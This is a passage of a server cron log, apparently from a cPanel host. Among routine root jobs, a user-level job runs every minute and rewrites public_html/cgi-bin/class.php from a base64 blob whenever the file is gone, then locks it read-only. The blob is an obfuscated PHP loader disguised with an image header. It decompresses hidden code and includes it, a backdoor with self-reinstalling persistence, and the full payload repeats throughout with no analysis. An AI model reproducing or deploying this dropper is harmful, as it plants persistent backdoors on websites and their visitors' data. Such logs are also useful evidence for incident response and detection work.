xCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:24:01 server CROND[28584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:25:01 server CROND[28632]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 12:25:01 server CROND[28634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:25:01 server CROND[28635]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 11 12:25:01 server CROND[28633]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 12:26:01 server CROND[28839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:27:01 server CROND[28889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:27:01 server CROND[28890]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 12:28:01 server CROND[28949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:29:01 server CROND[29017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:30:01 server CROND[29070]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 12:30:01 server CROND[29071]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 12:30:01 server CROND[29073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:30:01 server CROND[29074]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 12:30:01 server CROND[29072]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr 11 12:31:01 server CROND[29223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:32:01 server CROND[29316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:33:01 server CROND[29380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:34:01 server CROND[29442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:35:01 server CROND[29504]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 12:35:01 server CROND[29507]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 12:35:01 server CROND[29510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:35:01 server CROND[29508]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 12:35:01 server CROND[29506]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 12:36:01 server CROND[29637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:37:01 server CROND[29791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 